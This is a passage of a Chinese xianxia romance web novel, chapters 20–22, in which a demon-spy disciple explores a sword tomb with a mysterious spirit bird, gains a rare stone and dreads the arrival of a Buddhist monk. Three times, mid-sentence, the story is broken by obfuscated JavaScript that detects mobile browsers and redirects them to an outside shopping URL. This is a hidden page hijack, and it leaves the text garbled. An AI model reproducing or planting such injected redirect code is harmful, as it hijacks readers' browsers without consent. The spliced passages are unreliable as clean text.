“好美的灵鸟。” 灵鸟眼睛乌黑,微抬着脑袋,看起来矜贵又高傲。 “怎么感觉我被一只鸟鄙视了?”刀师弟嘀咕。 “它好像很亲近师妹。”柳若眉道。 林珑打量着这只漂亮得过分的鸟儿,它的气质令她想起了某个人。 这鸟不会是萧无梦的亲戚吧? 不过鸟要比人可爱多了。 她伸出手,想要摸它的脑袋,灵鸟主动仰起头,蹭了蹭她的手指。 长长的尾羽落在她肩头。 它不满足似的,又蹭了蹭。 20. 碰瓷 林珑正看着鸟儿,剑冢门扉大开,内门弟子依次进入。 剑冢收罗天下神兵,每三年向新入门的内门弟子开放一次,他们正好碰上了这次机会。虽然叫做剑冢,却不止有刀剑,能拿到什么兵器,全凭个人的机缘。 待人群进得差不多了,他们才要进入,前方忽有人拦路。 拦路的两男一女穿着内门云纹道服,满脸鄙夷,“什么时候外门弟子也能进剑冢了?” 林珑心说:关你屁事。 秦泯道:“令牌在此。” 他态度不卑不亢,面对内门弟子也不低人一头。 林珑曾好奇跟柳师姐打听过,听说秦师兄次次都是第一,为何还没进内门? 柳若眉告诉她,外门弟子想进内门有两种办法,一种是十年一次的内门大考,师兄没赶上,此外就只能等内门峰主、长老们收徒。秦师兄明明资质和品行都不错,却得不到内门长老青睐,同门也很疑惑,只能归结于机缘未到。 “呵。”那弟子看了一眼令牌,翻了个白眼,“也不知你们走了什么运。” “这剑冢里的兵刃都是有脾气的,实力不够,进去只会白忙一场。”他扫视几人,视线落在林珑身上,看出她的修为,有点不可置信,“太一宗竟有这样弱的弟子!” 林珑:“你可真没见识。” 弟子:…… 刀师弟帮腔道,“进去的人这么多,你又能找到什么好兵器?” 这话一出,几人都笑了。 那弟子肩上趴着的白貂叫了一声,他道,“我这只寻宝貂,可感知极品法器,你们这群没见识的外门乡巴佬懂什么?” 话音落,忽觉浑身一寒。 林珑肩头的灵鸟不知何时盯上了他,他感受到了一阵极强的压迫感,身上的白貂突然夹起尾巴,哗啦啦热流浇下来,随即骚味上涌。 “我去,它尿了!”刀师弟喊道。 柳若眉捂着鼻子后退两步。 对面几人脸色白了又青,丢人丢到了姥姥家,那人狠狠瞪了一眼林珑,“你、你给我记住!” 林珑:? 关她什么事? 目送几人狼狈离开,刀豆道:“师姐,这鸟可真厉害,是什么品种?雄的还是雌的?” “不知道。” 林珑琢磨着要不要把鸟翻过来看看,这鸟灵性十足,翅膀一拍,落在了一旁的树枝上,眼神睥睨众生。 刀师弟不敢说话了。 柳若眉道:“漂亮的一般是雄鸟吧。” 秦泯道:“门快关了,咱们赶紧进去。” 剑冢一共开放三天,进入后门扉紧闭,要三日后才会开启,期间不得出入。 进了剑冢,前方出现数条岔路。 “咱们怎么走?”刀师弟问。 “你们想寻什么样的兵刃?”秦泯问。 柳若眉有双刀,进来只是碰碰运气。以她对林师妹的了解,她肯定想找个地方躺着,毕竟师妹是在灵霄花下都能呼呼大睡。 “不如就此分开,各自去找自己的机缘吧。”林珑笑眯眯道,“反正剑冢中很安全,咱们三天后再见。” 秦泯没有意见,但刀师弟俨然一个“姐宝男”,非要跟着她。 于是两人同行,刀师弟没话找话:“师姐,你还记得那个梦界吗?” 林珑肩头,灵鸟微侧了侧头。 “你觉不觉得,那地方很眼熟?有点像……菩提寺?” 林珑点了点头。 她当时也想到了,只是菩提寺有她最不想见的人,光是想一想都让她脑袋发晕,顶着大太阳打了个寒颤。 “师姐,你不会想起佛子了吧?”刀师弟小声问。 “嘶~”林珑搓了搓手臂。 刀师弟只好闭上了嘴,师姐还是这么怕佛子呢。 * 剑冢比想象中还要大,空间层叠,走了没一会儿,她就和刀师弟分散了。 她走在一条僻静的山间小路上,路旁野花点缀,阵阵栀子香味飘入鼻端,心旷神怡。路上随处可见插在地上的刀剑,据说有灵性的刀剑会自行择主,选中的人能听到刀剑的召唤。她不想找什么绝世神兵,乐得轻松自在。 沿路不见人迹,只有灵鸟陪着她,这家伙蹲在她肩上,时不时就用脑袋蹭蹭她。 不一会儿又落到她手上,爪子抓着她的两根手指,稳稳站着,翅膀微微展开,无声暗示,要她摸摸。 以前养鹦鹉的同事告诉她,听说鸟在非常信任人的情况下,才会让人摸翅膀,这一只也太自来熟了。 “你还真不认生。” 灵鸟的翅膀展开后更显华丽,羽毛根根丰满,颜色如山岚夕照,薄雾浸染,仙气飘飘然,摸起来如同华丽的绸缎,丝滑柔软,触感简直无可比拟。 摸了一会儿,灵鸟眼睛舒服到眯起来,尾羽轻颤不停,如果它是一只猫,这时候已经在不停咕噜了。 “我累了。”撸了一会儿鸟,林珑将它放在一旁枝上,“你自己玩去吧。” 享受到一半的灵鸟突然被扔到一边,满眼不可置信。 她居然累了!这就累了? “你有没有听到什么声音?”她翻出了自己的小毯子,顿了一下说,“算了,不重要。” 她将树下的枯枝捡走,把路旁摘的两朵栀子花放在身边,这次她要做个香甜的美梦。灵鸟站在树梢,盯着准备睡觉的林珑,眼神渐渐犀利起来,该怎么让她继续呢? 原本风和日丽的天气忽然阴沉下来,眼看就将要下雨,不远处忽然传来人声。 “师兄,阿灵有反应了!” “快跟上寻宝貂!” 白貂如箭离弦,往前飞窜,在看到枝头的灵鸟时,吓得一个急刹车,后爪生生在地上搓出了两道浅坑,浑身的毛都炸起来了。 它盯着灵鸟,夹着尾巴缓缓后退。 三人御风而来,正是先前见过的内门弟子,几人见了灵鸟,心道晦气,再看林珑靠着树干,盖着毯子,那架势好像是打算睡一觉,都觉得不可思议。 剑冢一共才开放三天,要在这么短时间内找到一把称心如意的兵刃,谁都不敢松懈,竟然有人在这里睡大觉! 莫非……她一把剑都拔不出,所以就地摆烂了? “真是没用的东西。”三人中的师兄忍不住讽刺。 这女修虽然没什么威胁,但她养的这只灵鸟着实讨厌,寻宝貂让它吓得走不了路,明明刚才感应到极品兵刃就在这附近! 正烦躁时,白貂忽然冲着林珑的方向吱吱出声。 “师兄快看!” 就在离林珑不远处,堆着几根枯枝,枯枝看起来平平无奇,但白貂十分激动。 几人对视一眼,这树枝有蹊跷! 他们刚要动手,一根树枝凭空飞起,竟落到了林珑怀里! 它枯败的外壳剥落,化为一把通身碧绿的细长灵刀,刀身流光脉脉,轻盈如柳叶,刀刃泛着寒光。 “靠,是折柳刀!” 折柳刀是柳月刀叟的本命刀,刀叟早已陨落,此刀销声匿迹,成了不世传说,这是一把真正的极品兵器! 三人嫉妒到眼睛都红了,却见林珑被吵得睡意全无,将刀一扔,“别碰瓷啊你!” 真是疯了,竟然有人不要折柳刀! 三人同时去抢。 然而刀也是有脾气的,它怎么说也是当世名刀,都主动“投怀送抱”了,竟然会被人嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079380|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃! 刀身骤亮,狂风疾扫,竟将林珑连同三人扫飞出去! 山道狭窄,一旁就是茫茫山崖,谁也没料到刀灵会突然发飙,连灵鸟也是。眼看林珑跌落山崖,灵鸟一翅膀将折柳刀深深拍进了土里,跟着飞了下去。 折柳刀:淦! * 风声狂啸,坠落之势不止。 白雾茫茫,气温骤降。 林珑一脸懵逼的往下落,她才知道剑冢中的刀剑这么生猛,对方强买强卖,她不想要,这刀还打人,讲不讲道理了! 柳师姐告诉过她,剑冢是大能开辟的界域,内中空间嵌套,万花筒般景象万千,有时看似走在平地,下方就是悬崖,为了保护弟子,剑冢内一旦摔落,就会自动触发轻身咒,所以是摔不死人的。 她闭着眼睛等了一会儿,嘭地一声砸进厚厚的雪地里,一点痛感都没有。 但温度的变化是真的,这地方虽然摔不疼,它能冻死人啊!骤然由春入冬,地上的雪往衣领子里灌,林珑从头到脚凉了个彻底。 她冻得一个激灵,飞速爬起来,把保暖的东西往身上套了一层又一层,放眼望去,白茫茫一片雪地,不辨方向。 这下好了,该往哪里走? 忽听扑簌簌振翅声,雪地里落下一点青色,灵鸟落在了她肩头。 林珑有些意外,没想到它竟然跟下来了,不抱希望的问了一句,“你知道该往哪走吗?” 灵鸟往她左手边飞了一小段,又盘旋回她肩上,漆黑的眼睛看着她,似乎在告诉她方向。 林珑摸了摸它脖子上蓬松的绒毛,“那就走这边。” 风雪俱寂,一个人走在冰冷的雪地,四野辽旷,走了一阵,浓浓的孤独感侵袭而来。 她忍不住想说点什么。 “我只是想睡个觉,我招谁惹谁了?极品兵刃就了不起吗?” “你是不是也觉得我很傻,碰上名刀认主也不要?” 灵鸟蹲在她肩上,挨着她芳香清浅的乌发,它似乎只想和林珑贴贴,什么极品灵器,它才不关心。 林珑认真道,“我不会用刀,它认我为主,既埋没了它,又会为我惹来嫉恨,再厉害的兵刃,也要在适合的人手中才能发挥作用,我不适合。” 她看着灵鸟,眼睛亮亮,灿烂如星,“你也觉得我说得有道理吧?” 半晌,灵鸟竟轻轻点了点头。 * 前方风雪渐大,她肩上的灵鸟有些站不稳,摇摇晃晃,险些要栽下来。她手快扶了一把,这一碰,发现鸟儿浑身冰冷,不似先前翅膀暖烘烘的。 它可能在失温。 林珑连忙把它捧到手里,试图温暖它。 灵鸟有气无力摊在她掌心,脑袋耷拉在她指腹,翅膀微微摊开,贴着她的手掌,似乎在汲取她掌心的温度。 “奇怪,柳师姐说灵鸟的羽毛可以抵御严寒,你怎么会怕冷呢?” 鸟儿半睁开眼睛,像有些虚弱,它的眼睛像是上好的黑曜石,泛着冰冷光泽,清凌凌的。 真是奇了,她竟然从一只鸟身上品出了眼神!还有,它这熟练往她身上倒的姿势是怎么回事? 林珑正觉眼熟,刚要说话,忽听到风雪中传来说话声。 “无聊,真是无聊。” “啷个来陪老子耍一耍嘛!” 话音落,风雪骤止。 前方出现一汪清澈的冰湖,一个须发皆白,佝偻瘦弱的老头坐在湖边,冲她招手,“小姑娘,你过来。” 林珑不为所动。 老头连哄带骗:“小姑娘,只要能哄我开心,便让你上这洗心灵池照上一照。” 她顿时有点好奇:“照了有什么用?” 21. 洗心 老头笑眯眯道:“让你见到心中最想见之人。” 林珑心念一动,她确实有一个想见的人,主要是有点担心对方死了没有。 但是,他所在的地方不是常世,这池子真能见到他吗? 似乎看出她的犹豫,老头捻了捻胡子,道:“洗心灵池上通天,下接地,寰宇幽冥,尘世梦境。不管你想见的人在哪,保你不会失望。” 林珑来了兴致,她将身上的毯子裹紧了点,挑了一块平整的石头,扫干净上面的雪,坐下后道,“怎么才能哄您老人家开心呢?” 灵鸟再次落到她肩上,打量着对面的老头。 老头扯开被风吹到嘴边的头发,哼哼声:“让老头子高兴嘛——简单咧!只要你听我讲完一个故事,我就让你过去。” “什么故事?” 这老头不会要给她讲一千零一夜的故事吧,她岂不是要冻死在这? “小姑娘,你想听什么故事?” “老头我今年整整七百岁,看守洗心灵池快三百年了。”他吹嘘道,“这太一仙宗上上下下就没有我不知道的事!” “那就请您说说无梦仙君的事吧!”林珑一手托腮,随口道。 她对太一宗的旧事不感兴趣,还不如打听些关于萧无梦的消息,下次糊弄魔君又有素材了,真不愧是她! “无梦仙君?”老头摸着胡子想了半天,想不起这人是谁。 林珑:…… 莫非是个骗子? 半晌,他一拍大腿:“是萧无梦那小崽子啊!” 林珑睁大了眼,仔细一想,老头说他自己七百岁,三百年前来看守灵池,那时萧无梦才几岁?难怪是他口中的“小崽子”。 “这小子的事我知道不多,不过他爹娘的事我倒是很清楚。”老头有些心虚,将话题一转,“想当年,靖灵元君与玄止真人也是仙魔两界闻名的一对爱侣,那时元君还不称元君,而是靖灵仙子。她是仙门百家第一美人,无数修士仰慕的对象。她与玄止结侣那一年,不知多少修士道心破碎,说一朵鲜花插在了……” 老头说着说着,忽然觉得身上越来越冷。 奇怪了,他在这崖底数百年,早不知什么是冷热,这凉飕飕的寒气是…… 他抬头,看到了林珑肩头那只灵鸟,那冰冷的眼神冻到了他骨子里,他盯着灵鸟,忽然脸色一变。 “玄止真人长得很丑吗?”林珑疑问。 “那倒不是,玄止也是仙门有名的美男子,只是他资质不堪与仙子为配……”在灵鸟注视下,老头的声音越来越小,“哎呀,这个故事不好,咱们还是换一个吧。” “不堪为配,后来呢?”林珑忍不住追问。 “后来,自然是打了所有人的脸!他们夫妻恩爱,还有了孩子。”老头三言两语糊弄了过去,“小姑娘,还是给你讲讲老头子我的故事吧!” 林珑不想听他的故事,可老头不知为何不想说了,难道萧无梦的爹娘还有什么隐秘?总感觉他的态度怪怪的。 “我以前在凡间,可是当过皇帝的!”老头说自己的故事,那叫一个滔滔不绝,“人间战乱,我这皇帝当不下去了,便去求了仙。谁知仙门不收,我就在菩提寺剃度,扫了十年地……” 老头这三百年见过的活人不超过十个,好不容易碰上一个林珑,恨不能把自己七百年的人生掰开了揉碎了跟她讲。 “后来,菩提寺闭寺,我拎着扫把来到太一宗山门外,没想到遇上了离渊老祖,从此侍奉他左右——” 林珑开始眼皮耷拉,为了去洗心池,苦苦硬撑。 灵鸟见老头很识时务,不再说些有的没的,振翅起飞,没入了远处的茫茫风雪中。 林珑看着它远去,老头道:“别看了,它还会回来的。” “你怎么知道?” “因为,这里除了洗心池,还有一样好东西。”老头神秘兮兮道,“一样只有他才能拿到的好东西。” “什么——” “来来来,咱们接着说故事。” 林珑:zzZ。 两个时辰后。 林珑终于听完了老头的故事,站在灵池前,池水清澈如镜,反射出她的影子,她在心中默念守梦人的名字。 无名,还活着吗? 他去追那个狡猾的界主,会不会出什么意外? 心念一动,池水扩散开一圈圈涟漪。 待涟漪平复时,池中映出了与雪地截然不同的场景。 孤月在天,枯树成林。 远处鸦声阵阵。 无名倚在一棵树上,对月出神。 他面前的空间出现一阵奇异波动,洗心池连通梦境,他也看到了这边的景象。 他一下坐直了身子,语气难掩惊讶:“林珑?” 林珑见他身上没伤,脸色如常,看起来全须全尾的,再看他身后的景色,应该不是那天的梦界,她猜测那天他应该没有追上界主,如今在不知是谁的梦境里郁闷呢。 她面无表情看了他一眼,转身就走。 “等等。” 身后传来无名的声音,“你在哪?” “我在哪跟你有什么关系?”她冷哼,“不是不想看到我吗?” 说什么以后不要再见,还问她在哪干什么? 她不过就是来看一眼,只要人还活着就行。 见了他,才发现自己比想象中更生气。他说的那些话,没那么容易翻篇,她可是很记仇的。 无名沉默良久。 她失去了耐心,拔腿就走。 “……不是。” 身后传来他低沉微哑的声音,“梦境比你所想更危险,不止是梦境本身,频繁出入梦境,会出现难以控制的后果——” “什么后果?” 他语气一顿,因为林珑忍不住转过了头,漂亮的琥珀眼里写满了好奇。 四目相对,她又故意冷下脸,像在提醒他,她还在生气。 她像一只忍不住好奇的猫。 无名的唇角微微勾起。 他解释道,“每出入一次梦境,都会留下关于噩梦本身的深刻记忆,甚至被做梦者的怨恨与恐惧缠上。次数多了后,怨憎缠身,难以解脱,渐渐分不清梦与现实,最后沉沦在无尽的噩梦中。” 林珑脸色微沉,想起了柳师姐,她从魔族的梦中出来,于是魔族的噩梦也成了她做噩梦的源头,让她心神不安。 而噩梦,师姐才经历了一次。 如果一个人出入上百次、千次梦境,一遍遍体会噩梦的荒诞和恐惧,那个人会变成什么样? 永远与噩梦为伴…… 光是想想,她都觉得很可怕。 “那你怎么没事?”她不解。 “因为我跟一般人不同。”他淡声道。 “有什么不同?” 他唯有沉默,有些秘密,关乎两界存亡,是不能对任何人说起的。 他不说,林珑就忍不住自己琢磨。 说起来,守梦人的存在,确实相当与众不同,他只在梦境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097662|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中出现,以狩猎噩妖为己任。他不在乎别人的看法,也不要什么赞誉和名声。 独行于暗夜,藏刃于刀锋。 是个孤僻得叫人难以理解的人。 林珑从未遇到过哪个人,能像他这样激起她的好奇心。 她瞟无名一眼,“那下次我进梦境,你还打算赶我走?” “你——” “第一,我进过两次梦境,出来照样吃好睡好,梦境对我一点影响都没有。” “第二,两次入梦,我都是被牵连进去的,说不定下次也是,所以不能怪我。” “第三,你教我八字灵诀,不就是为了在梦境中用的吗?” 有理有据,令人信服。 他彻底无话可说。 林珑眉眼飞扬,掩饰不住得意,这一次,是她赢了。 言语交锋数次,她终于占据上风,把对方说的哑口无言。她心里那点气散了,才告诉他,“我在剑冢洗心池,这里太冷了,我要走了。” 这次她是真的要离开了,无名又说:“上次你吹的那首曲子——” 怎么感觉这人一副舍不得她走的样子? 她回过头,“你很喜欢?” 无名在树上坐直了,两条笔直的长腿垂下来,马尾柔顺垂在身后,指间夹着一片柳叶。 树林昏暗,这片不知从哪来的柳叶在他指尖,衬着他冷白肤色,显得如此鲜嫩,生机勃勃。 林珑惊讶,“我不在的时候,你不会就在琢磨着怎么吹这首曲子吧?” 无名:…… “你想学?” “教会了你,我有什么好处?” “你想要什么?” 她认真想了想,“下次梦境再见,我要——” 啪。 一颗石子落入池中,池水震荡,水花溅起,守梦人的画面消失了。 是谁这么不安好心! 林珑回头一看,那只灵鸟回来了,它落在不远处的石堆上,爪子陷在雪里,刚才那颗石头显然就是它扔的。 那鸟眼神冰冷冷的看着她,好像她干了什么让它生气的事似的。 她还没生气呢,一只鸟莫名其妙生什么气? 但她又不能打鸟一顿,只好自我开解,人不该跟鸟生气,它什么都不懂。至于无名,到时候再跟他提好了,还有点期待他的反应呢。 灵鸟飞到她面前,嘴一张,吐出了一颗幽蓝色的石头。那石头不过半截小指大小,莹光湛湛。 “这是——” 她俯身捡起石头,整座剑冢忽然剧烈摇晃起来。 怎么回事? 风雪更紧,雾气弥漫。 “炼心石已到你手,小姑娘,剑冢将提前关闭了!”遥遥的,她听到老头的声音。 “炼心石?” “唉,又不知要无聊到何年何月……”老头絮絮叨叨的声音中,周围的景物渐渐消失,不远处有影影绰绰的人影晃动,看不清面目。 紧接着,眼前一花。 她出现在剑冢大门前,手里还拿着那块炼心石。能让剑冢提前关闭的,大概是个好东西。它辛辛苦苦取来,总不好扔了。 她找不到灵鸟,只好将石头暂时放进腰包里。 不一会儿,外门小分队都来跟她汇合了。 秦师兄和柳师姐看起来心情不错,想必在剑冢中颇有收获,只有刀师弟眉眼耷拉,跟在几人身后。 往回走了一阵,林珑脚步一顿,“你们觉不觉得,有人偷偷跟着咱们?” 22. 佛子 秦泯拔剑出鞘,剑气挥洒,沉声道:“出来。” 不远处石头后有人走了出来,正是之前见过的内门三人。这三人支支吾吾,那师兄一脸客气,“之前多有得罪,望师弟师妹不要介意。” 林珑惊讶,之前还一副看不起他们的模样,这是怎么了? “各位,有什么话不妨直说。”秦泯打量几人。 “林师妹。”那师兄眼神微晃,“方才在崖底,你是不是得了一块炼心石?” 林珑明白过来,“原来是你们在崖底偷窥。” 师兄:…… 话不能这么说,他们一直在崖底打转,剑冢动荡时找到灵池附近,才看到林珑拿了炼心石那一幕。 “师兄想要炼心石?” “师妹,你开个价吧!” 若是剑冢中,他还敢耍点小动作,出来之后,人多眼杂,宗规在上,他也不敢乱来。 “炼心石有价无市,师妹别卖。”柳若眉悄声道。 林珑眼珠一转,“师兄能出多少?” “十万灵石。” “十万?”秦泯道,“师兄是在说笑吗?十万买块上好的磨刀石都不够。” 师兄一脸被戳穿的尴尬,这林师妹也不知走了什么狗屎运,不仅能拿到炼心石,身边还有这么多人帮她! “五十万,我出五十万!”这已经是他的全部家当了。 “哦。”林珑道,“可师兄之前说我是没用的东西。” “我说的是我。”师兄一心想要磨刀石,轻拍了拍自己的脸,“我是没用的东西!师妹的灵鸟比我的寻宝貂厉害不知哪里去了。” “师兄还说我们都是乡巴佬。” 师兄尬笑一声,“师妹有机缘得到炼心石,是我没见识,不长眼得罪了师妹。” 林珑满意的点了点头。 师兄眼见有戏,追问,“那炼心石——” 林珑笑眯眯道:“跟师兄聊天真开心,炼心石,我、不、卖。” “诶、诶——” “等等!师妹,你竟然耍我!岂有此理!” * 回到外门,林珑问,“炼心石到底是什么?” “是剑冢的镇冢之宝。”柳若眉道,“剑冢传承数千年,收集的刀剑越来越多,内中空间堆叠,几近崩塌,后来大长老出手,以炼心石为阵眼才稳住了剑冢。” “传说炼心石可塑万物,用它来炼器,可将兵刃塑造成任何形态,炼制出真正完美的神兵。” 林珑心想,仙宗还真是处处都有萧无梦的传说,一块石头也能和他扯上关系。 没想到小小一颗石头这么神奇,不知灵鸟怎么弄到它的,而且剑冢要是塌了怎么办? “既然机缘属于师妹,那就拿着吧。”柳若眉道,“至于剑冢,长老们会想办法的。” “嗯。”林珑又想起之前那老头说的话,“师姐,你知道大长老爹娘的事吗?” “怎么突然问起这个?”柳若眉想了想,“大长老的爹娘……靖灵元君的名号,仙门应该无人不知吧?她是近千年来仙门唯一飞升的修士。” “元君飞升了?”林珑惊讶,“那他爹呢?” “元君飞升不久,玄止真人就陨落了,那时仙君才几岁。”她道,“听说他们夫妻感情很好,可惜天数有定,他们都没能陪伴孩子多久。” 林珑摸了摸下巴,原来萧无梦很小的时候他爹就去世了,他还有一个飞升成神的娘…… 总觉得说不上来的不对劲。 “师妹,我先回去了。” 回到小院,柳若眉正要跟她告别,一只灰扑扑的云雀啾啾叫着落在了她肩上。 “师妹还真是受鸟儿喜欢呢。” “可能因为我今天穿的绿裙子?”林珑连忙将小鸟笼到掌心,先前那只灵鸟不知哪来的,这一只可是她和魔界的传讯鸟! 她内心狂跳,还要维持微笑,生怕柳若眉看出端倪。 还好柳师姐对她毫无疑心,告辞离开了。 林珑赶紧将鸟带回房间,门一关,将鸟放在桌上,冲它拜拜:“祖宗,我的匿气丹呢?” 鸟儿眼珠鼓溜溜一转,张嘴吐出一颗白色小药丸。 “就一颗?” 鉴于魔君上次对她的业绩表示不满,这次她辛辛苦苦给魔君写了足足十页的工作总结! 内容差不多是—— 【魔君阁下:本季度业绩如下,共查探了两座外门建筑,深入七宝阁,过程跌宕起伏,结局出人意料……】 简单来说——好消息:七宝阁中发现了入梦珠。坏消息:入梦珠是假的。 她还写了七八页的外门生活,表达她做为卧底的艰辛,再将萧无梦疑似炼制针对魔界大杀器的消息附在最后,完美收尾。 魔君看了竟然不感动吗? 云雀啾啾,啄了一下她的手,又吐出了一颗匿气丹。 “这还差不多。”她喜出望外,“还有吗?” 云雀又吐出了一张小纸条,围着她的手转了一圈,表示这次是真的没有了。 魔君居然给她写纸条,这可真是少见,以往他都是用云雀传声,逼逼几句,催促她赶紧打探消息就完事了。 显然魔君也知道以她的修为又不可能混进内门,盗取入梦珠希望渺茫,但除了她,在仙门又无人可用,对她的态度自然嫌弃,当然她对魔君也一样。 有谁会不讨厌这种黑心肝抠门老板呢? 她刚要打开纸条,刀豆慌慌张张跑进来,“师姐,了不得了,大消息!” “怎么了?” 师弟总是这么一惊一乍的,能有什么大事? “菩提寺佛子前来太一宗拜访,听说人已经到山门口了!” “什么?!” 林珑直接从椅子上蹦起来,“兰因来了?” “完了!完了!!”她急得满屋子乱窜,“师弟,我得赶紧跑路!不能让他发现我!” 刀豆一脸“我就知道”的表情,这世上师姐最怕的人就是佛子。她的魔族身份,除了自己,整个修真界只有这位佛子知道。 而佛子眼里容不得沙子,若是碰上了师姐,肯定不会包庇她的。 “呜呜,我好惨。” 林珑哭丧着脸,刚从魔君那里搞到两颗匿气丹,以为接下来半年都可以无忧躺平了,突然冒出一道晴天霹雳! “师姐,你要不找个地方躲一躲?”刀豆给她出主意,“佛子肯定不会逗留太久,避过几天风头就好了。” “有道理。”林珑渐渐冷静下来,问题是,她该躲哪去? 正琢磨,院外忽然传来一阵扑翅声。 “林珑,仙君召见。”隔着房门,鹤童那把少年老成的嗓音依然十分有辨识度。 林珑眼睛一亮,试问整个太一仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114761|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宗,还有哪里比萧无梦的住处更与世隔绝?而且他身份奇高,连佛子都不够资格拜见他。 真来没想过萧无梦还有帮大忙的这天! 她连声应,“来了来了!” 二话不说跑了出去。 “等等,师姐、师——” 刀豆慌忙追出去,鞋子都飞了,师姐已经乘着白鹤走了,转眼连白鹤的尾气都看不见,刀师弟无语凝噎:“师姐,我还没说完啊!” 他刚打听到菩提寺出了大事,佛子这次是特地来向无梦仙君求助的。师姐去哪不好,竟然去找仙君,这不是自投罗网吗! 他只能默默祈祷师姐运气好点,她那么机灵,千万别让佛子给发现了。 回到屋内,他发现桌上放着一张小纸条,打开一看,魔气凝成了几行字迹——【探明菩提寺异动,交换你爹消息。】 再来降灵山,林珑已是熟门熟路。这次穿过结界,不知为何没经过那迷阵,直接就到了仙宫的回廊下。 风铎轻响,殿内隐约传来人声。 “师叔,玄武峰主已经知道错了,您就放过他吧!” “本君何时为难他了?” 这把嗓子沁凉如玉,语调漫不经心,一听就知道是萧无梦在说话。 “自从上次吃了那三颗丹药,玄武峰主心神不宁,无法修炼,您还叫人给他送了一瓶去,这……” “本君送了,他就要吃?” 掌门青崖子顶着一张苦瓜脸,心说您老人家送的东西,别说是补药,就算是毒药,他敢不吃吗? 萧无梦闲散地坐在一张宽大的梨木椅上,“既然他话这么多,就让他去守着长生殿,那里人多,热闹。” 青崖子:…… 长生殿人多是多,好几百号人呢,都是牌位。 玄武峰主,自求多福吧! 掌门也不敢求情了,怕自己一不留神就要跟他去作伴,见萧无梦没什么要吩咐,赶紧一溜烟就走。 他还得去将佛子带进来,也不知菩提寺出了什么大事,佛子竟千里迢迢来求见师叔,而师叔竟然同意见他,实在出乎意料。 师叔闭关这百年,多少人挤破脑袋想见他,他一向谁都不见。菩提寺的事就算再大,跟太一仙宗交情甚浅,一佛一道,互不相干,萧无梦更没必要见佛子了。 想想师叔如今的情况,青崖子愁得一个头两个大。 林珑只觉一阵青烟飞了出去,都没看清是谁,就听里面人道:“进来。” 她挤出一个笑脸,走了进去。 为了能在仙宫避避风头躲开兰因,她决定一定要对萧无梦态度殷勤一点。她是发现了,萧无梦这家伙只能顺毛捋。 “见过仙君。”她上前恭敬行礼,甜甜一笑,恰好露出两个梨涡,“不知仙君召见,所为何事?” 萧无梦道:“今日仙宫有客到访,鹤童有事,你来替本君招待。” 林珑无语,太一仙宗是没人了吗?有人来拜访仙君,竟然要她一个小小外门弟子来待客? 等等。 他说的客人不会是—— 萧无梦眼眸幽深,含笑道:“是菩提寺佛子。” 林珑:! 你说什么?! 她来这就是为了避开佛子啊! 现在跑还来得及吗? 她一脸绝望时,突然看到萧无梦袖侧,掉下了一根漂亮的羽毛。